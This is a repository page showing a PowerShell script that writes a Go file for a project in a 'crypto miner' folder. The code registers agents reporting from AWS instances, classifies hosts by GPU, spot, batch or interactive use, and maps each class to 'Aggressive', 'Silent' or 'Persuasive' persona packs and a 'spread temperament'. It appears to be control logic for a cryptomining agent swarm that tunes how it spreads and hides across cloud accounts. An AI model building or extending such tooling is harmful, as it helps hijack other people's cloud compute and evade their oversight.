Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Apply SwarmMagnet, uiHelp, AccessDepthPanel, Seer, miningsurgery, and path-tracer test fixes; add agent cloud telemetry fields and main strings import; refresh tests/README and PROBLEMS AWS operator notes.
193 lines
5.6 KiB
PowerShell
193 lines
5.6 KiB
PowerShell
$root = "G:/crypto miner"
|
|
Set-Location $root
|
|
|
|
@'
|
|
package ai
|
|
|
|
import (
|
|
"strings"
|
|
"time"
|
|
)
|
|
|
|
const (
|
|
CloudVenueBatch = "batch"
|
|
CloudVenueInteractive = "interactive"
|
|
CloudVenueSpot = "spot"
|
|
CloudVenueGPU = "gpu"
|
|
)
|
|
|
|
type CloudVenueReport struct {
|
|
AgentID string
|
|
At time.Time
|
|
Environment string
|
|
Workload string
|
|
InstanceType string
|
|
InstanceLifecycle string
|
|
OrganizationalUnit string
|
|
EC2Tags map[string]string
|
|
}
|
|
|
|
type CloudVenueBiome struct {
|
|
BiomeKey string `json:"biome_key"`
|
|
VenueClass string `json:"venue_class"`
|
|
PersonaPack string `json:"persona_pack"`
|
|
AgentIDs []string `json:"agent_ids"`
|
|
Hits int `json:"hits"`
|
|
Environment string `json:"environment,omitempty"`
|
|
Workload string `json:"workload,omitempty"`
|
|
UpdatedAt time.Time `json:"updated_at"`
|
|
}
|
|
|
|
type CloudVenueRegistry struct {
|
|
reports map[string]CloudVenueReport
|
|
active map[string]CloudVenueBiome
|
|
agentBiome map[string]string
|
|
}
|
|
|
|
func NewCloudVenueRegistry() *CloudVenueRegistry {
|
|
return &CloudVenueRegistry{
|
|
reports: make(map[string]CloudVenueReport),
|
|
active: make(map[string]CloudVenueBiome),
|
|
agentBiome: make(map[string]string),
|
|
}
|
|
}
|
|
|
|
func (r *CloudVenueRegistry) Record(report CloudVenueReport, now time.Time) (CloudVenueBiome, bool) {
|
|
agentID := strings.TrimSpace(report.AgentID)
|
|
if agentID == "" {
|
|
return CloudVenueBiome{}, false
|
|
}
|
|
if now.IsZero() {
|
|
now = time.Now().UTC()
|
|
}
|
|
report.At = now
|
|
r.reports[agentID] = report
|
|
biomeKey := CloudBiomeKey(report)
|
|
venue := InferCloudVenueClass(report)
|
|
persona := CloudVenuePersonaPack(venue)
|
|
agents := r.agentsForBiome(biomeKey)
|
|
prev, had := r.active[biomeKey]
|
|
changed := !had || prev.VenueClass != venue || prev.PersonaPack != persona || !sameAgentSet(prev.AgentIDs, agents)
|
|
b := CloudVenueBiome{BiomeKey: biomeKey, VenueClass: venue, PersonaPack: persona, AgentIDs: append([]string(nil), agents...), Hits: len(agents), Environment: report.Environment, Workload: report.Workload, UpdatedAt: now}
|
|
r.active[biomeKey] = b
|
|
for _, id := range agents {
|
|
r.agentBiome[id] = biomeKey
|
|
}
|
|
return b, changed
|
|
}
|
|
|
|
func (r *CloudVenueRegistry) Snapshot() []CloudVenueBiome {
|
|
out := make([]CloudVenueBiome, 0, len(r.active))
|
|
for _, b := range r.active {
|
|
out = append(out, b)
|
|
}
|
|
return out
|
|
}
|
|
|
|
func (r *CloudVenueRegistry) ForAgent(agentID string) *CloudVenueBiome {
|
|
key, ok := r.agentBiome[strings.TrimSpace(agentID)]
|
|
if !ok {
|
|
return nil
|
|
}
|
|
b, ok := r.active[key]
|
|
if !ok {
|
|
return nil
|
|
}
|
|
cp := b
|
|
return &cp
|
|
}
|
|
|
|
func BuildCloudVenueSpreadPolicy(biome CloudVenueBiome) map[string]interface{} {
|
|
temp := PersonaSpreadTemperament(biome.PersonaPack)
|
|
return map[string]interface{}{"persona_pack": biome.PersonaPack, "venue_class": biome.VenueClass, "cloud_biome_key": biome.BiomeKey, "spread_temperament": temp, "cloud_venue_biome": true}
|
|
}
|
|
|
|
func CloudBiomeKey(report CloudVenueReport) string {
|
|
if ou := strings.TrimSpace(report.OrganizationalUnit); ou != "" {
|
|
return ou
|
|
}
|
|
env, work := strings.TrimSpace(report.Environment), strings.TrimSpace(report.Workload)
|
|
if env != "" && work != "" {
|
|
return env + "/" + work
|
|
}
|
|
if env != "" {
|
|
return env
|
|
}
|
|
if work != "" {
|
|
return work
|
|
}
|
|
if t := strings.TrimSpace(report.InstanceType); t != "" {
|
|
return "aws:" + t
|
|
}
|
|
return "aws:unknown"
|
|
}
|
|
|
|
func InferCloudVenueClass(report CloudVenueReport) string {
|
|
itype := strings.ToLower(strings.TrimSpace(report.InstanceType))
|
|
lifecycle := strings.ToLower(strings.TrimSpace(report.InstanceLifecycle))
|
|
work := strings.ToLower(strings.TrimSpace(report.Workload))
|
|
env := strings.ToLower(strings.TrimSpace(report.Environment))
|
|
ou := strings.ToLower(strings.TrimSpace(report.OrganizationalUnit))
|
|
if isGPUInstanceType(itype) || containsAny(ou, "gpu", "ml", "inference", "training") || containsAny(work, "gpu", "ml", "inference", "training", "cuda") {
|
|
return CloudVenueGPU
|
|
}
|
|
if lifecycle == "spot" || containsAny(work, "spot", "preempt") || tagContains(report.EC2Tags, "aws:ec2:marketplace-product-code") {
|
|
return CloudVenueSpot
|
|
}
|
|
if containsAny(work, "batch", "cron", "queue", "emr", "spark", "etl", "worker") || containsAny(env, "batch", "data") || containsAny(ou, "batch", "compute", "emr") {
|
|
return CloudVenueBatch
|
|
}
|
|
if containsAny(work, "web", "app", "api", "interactive", "frontend", "service") || containsAny(env, "dev", "staging", "sandbox") || containsAny(ou, "interactive", "dev", "sandbox") || strings.HasPrefix(itype, "t") || strings.HasPrefix(itype, "a1.") {
|
|
return CloudVenueInteractive
|
|
}
|
|
if containsAny(itype, ".xlarge", ".2xlarge", ".4xlarge", ".8xlarge", ".12xlarge", ".16xlarge", ".24xlarge") {
|
|
return CloudVenueBatch
|
|
}
|
|
return CloudVenueInteractive
|
|
}
|
|
|
|
func CloudVenuePersonaPack(venue string) string {
|
|
switch strings.ToLower(strings.TrimSpace(venue)) {
|
|
case CloudVenueGPU:
|
|
return PersonaPersuasive
|
|
case CloudVenueSpot:
|
|
return PersonaAggressive
|
|
case CloudVenueBatch:
|
|
return PersonaSilent
|
|
case CloudVenueInteractive:
|
|
return PersonaBalanced
|
|
default:
|
|
return PersonaBalanced
|
|
}
|
|
}
|
|
|
|
func isGPUInstanceType(itype string) bool {
|
|
for _, p := range []string{"p", "g", "inf", "trn", "dl"} {
|
|
if strings.HasPrefix(itype, p) {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
func tagContains(tags map[string]string, key string) bool {
|
|
if tags == nil {
|
|
return false
|
|
}
|
|
_, ok := tags[key]
|
|
return ok
|
|
}
|
|
|
|
func (r *CloudVenueRegistry) agentsForBiome(biomeKey string) []string {
|
|
var agents []string
|
|
for id, rep := range r.reports {
|
|
if CloudBiomeKey(rep) == biomeKey {
|
|
agents = append(agents, id)
|
|
}
|
|
}
|
|
return agents
|
|
}
|
|
'@ | Set-Content -Encoding utf8 "server/internal/ai/cloud_venue.go"
|
|
|
|
Write-Host "ai cloud_venue.go:" (Test-Path "server/internal/ai/cloud_venue.go")
|